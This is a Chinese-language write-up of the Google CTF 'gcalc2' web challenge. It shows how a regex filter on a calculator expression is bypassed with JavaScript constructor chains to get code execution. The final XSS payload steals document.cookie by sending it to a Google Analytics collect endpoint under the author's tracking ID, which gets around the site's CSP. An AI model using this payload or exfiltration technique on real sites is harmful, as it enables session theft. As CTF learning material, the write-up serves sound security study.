前言


Google Ctf,发现自己真的菜。。。。。


题目信息

  1. For all your calculation needs.

这个题目也是蛮有特色的,进去就是一个前段实现的计算器 
嗯,和描述的差不多,这确实是一个功能齐全的计算器,23333 

index.png


解题信息

进去之后随便使用了下计算器,并没有什么特别的发现,都是JS实现的,没有请求发出。


输入点和目的

Permalink这个按钮有点意思,会根据你使用计算器的运算结果生成带参数的url。 

info1.png


解码后:https://gcalc2.web.ctfcompetition.com/?expr=&vars={"pi":3.14159,"ans":45} 
我们可以看到exprvars两个参数,不出意外这里应该就是我们的参数输入点。


还有一个Computer too slow? Try it on our i386 beowulf cluster.的按钮。 
根据描述就很明显了,这个地方应该是将我们的参数传给后台的管理员进行帮我们进行运算 
不出意外这题依旧是Xss,打Cookie


现在去看看PermalinkTry it这两个的按钮实现的代码。 
然后还可以从源码发现计算器是通过iframe引入的

1.<iframe src="https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?" border=0 sandbox="allow-scripts allow-modals allow-same-origin"></iframe>

有用的JS文件

直接访问这里,我们可以从控制台当中发现加载了三个Js文件资源 

info2.png

首先是analytics.js

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-118961476-1');

这个是Google Analytics推出的,analytics.js可与Google Analytics进行配合,与于衡量用户与您网站的互动情况。

接着是angular-recaptcha.min.js,这个是AngularJS的一个模块,用于验证。 
参考链接:http://www.bootcdn.cn/angular-recaptcha/

最后就是app.min.js,代码被压缩,我们先进行美化

201.png

202.png

203.png

204.png

然后我们发现之前Permalink绑定的permalink(),

<a ng-click="ctrl.permalink()" href="#" class="pm" id="pm">Permalink</a>


Try it绑定的showCaptcha()

<a href="#" ng-click="ctrl.showCaptcha()" class="pm">Try it</a>

301.png

均在这个文件,这应该就是关键,^_^


深入分析

因为app.min.js里面的代码是没有格式化的,难以阅读和调试,因此我们使用Ctrl + S将网页保存在本地,然后格式化本地app.min.js代码进行分析

带参数访问本地calc.html?expr=Rai4over&vars={"pi":3.14159,"ans":45} 
在浏览器调试控制台中观察变量的流动 

info3.png

我们可以发现在l()里面会出现我们两个URL参数,默认情况下expr为空的,会直接结束函数 
如果我们赋值expr=Rai4over,那么这个时候就会通过判断进入try/catch模块 
然后这两个参数就传入了p()

var m = p(a.expr, a.vars);

info4.png

在p函数中我们很容易发现,就可以发现在最后一句是存在Javascript代码注入。

return (new Function("vars", "return " + a))(b)

这里我们可以发现return的结果是另一个匿名函数(new Function("vars", "return " + a))传入参数b的返回的结果


但是我们要注意前面是对expr也就是函数里面的a通过正则表达式进行过滤 
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a); 
并且a的内容均为小写 
a = String(a).toLowerCase();


这个正则表达式的匹配规则很好理解: 
1-9,(,),\,*,/等简单字符 
vars 这个单词 
.英文字母 点和英文字母,点必须出现在英文字符前面。


这里我们构造Pyload如下,就可以绕过toLowerCase()和正则表达式出发弹窗

?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0,"alert('Rai4over')":0}

constructor的秘密

首先我们得知道return后面是一个函数的调用,a是匿名函数的函数代码,b是匿名函数的object类型参数 

info5.png


Payload的可读性并不强,这里面最重要的就是constructor这个东西 
javascript的所有对象都有一个constructor属性,对象的constructor属性包含对象原型创建的函数, 
我们可以利用这个属性判断对象的类型,也可以创建和对象同样的类型的新对象 
如下所示 

info6.png


这里我们需要注意几点

info7.png

匿名函数探秘

先看/1/.exec(1).keys(1).constructor.keys(vars).pop()里面这块 

info8.png

/1/.exec(1).keys(1).constructor 
首先用正则表达式匹配的结果获得Object对象,但是这个对象的constructor是Array的构造函数,因此又通过keys()又获得新的Object对象这个新对象的constructor就是Object的构造函数。这里无法使用vars,因为没有keys()方法,所以需要自己构建包含这个方法的对象


/1/.exec(1).keys(1).constructor.keys(vars).pop() 
相当于使用Object.keys()将vars转化为数组,然后通过pop()弹出我们的payload


再看外面的(1).constructor.constructor 
这里就是利用constructor自身获得Function构造函数,构造函数的参数就是pop()出来的Payload。 
相当于:

new Function('alert("Rai4over");')()

也就是外面的匿名函数的返回值是调用了另一个匿名函数。ORZ...


CSP和Google Analytics

但是还有一个问题,就是还有CSP策略,emmmm

content-security-policy: 
default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; 
style-src 'self' https://*.googleapis.com 'unsafe-inline'; 
script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; 
child-src https://www.google.com/recaptcha/; 
img-src https://www.google-analytics.com;

我们该如何把Cookie发送出去呢,这里其实是提示的就是之前的analytics.js, 
我们可以注册并利用Google Analytics,然后按照事件模块的请求的格式,tid填写自己的跟踪ID 
请求实例:

1.https://www.google-analytics.com/collect?v=1&tid=UA-121819858-1&cid=0000000000&t=event&ec=Flag&ea=_ga%3DGA1.2.858709561.1530790158%3B%20_gid%3DGA1.2.1386336780.1530790158

把Cookie发送到这个模块进行接受,发送请求的域为www.google-analytics.com,符合CSP策略


查找自己的跟踪ID

ID.png

获取Flag

所有问题都解决了,Payload构造如下,

1.https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={%22pi%22:3.14159,%22ans%22:0,%22x%3ddocument.createElement(%27img%27)%3bx.src%3d%27https%3a%2f%2fwww.google-analytics.com%2fcollect%3fv%3d1%26tid%3dUA-121819858-1%26cid%3d0000000000%26t%3devent%26ec%3dFlag%26ea%3d%27%2bencodeURIComponent(document.cookie)%3bdocument.querySelector(%27body%27).append(x)%22:0}

然后点击Try it,发现并没有在Google Analytics看到Flag,只能看到自己页面的Cookie 
后面仔细一看发现,发现点击Trt it后发送请求POST内容为空,说明不会自动发送参数,前面猜错了,懒得看怎么让程序获取了,直接换成Burp发送 
burp.png

成功拿到Flag 

flag.png

Flag为CTF{1+1=alert}


源链接

Hacking more

...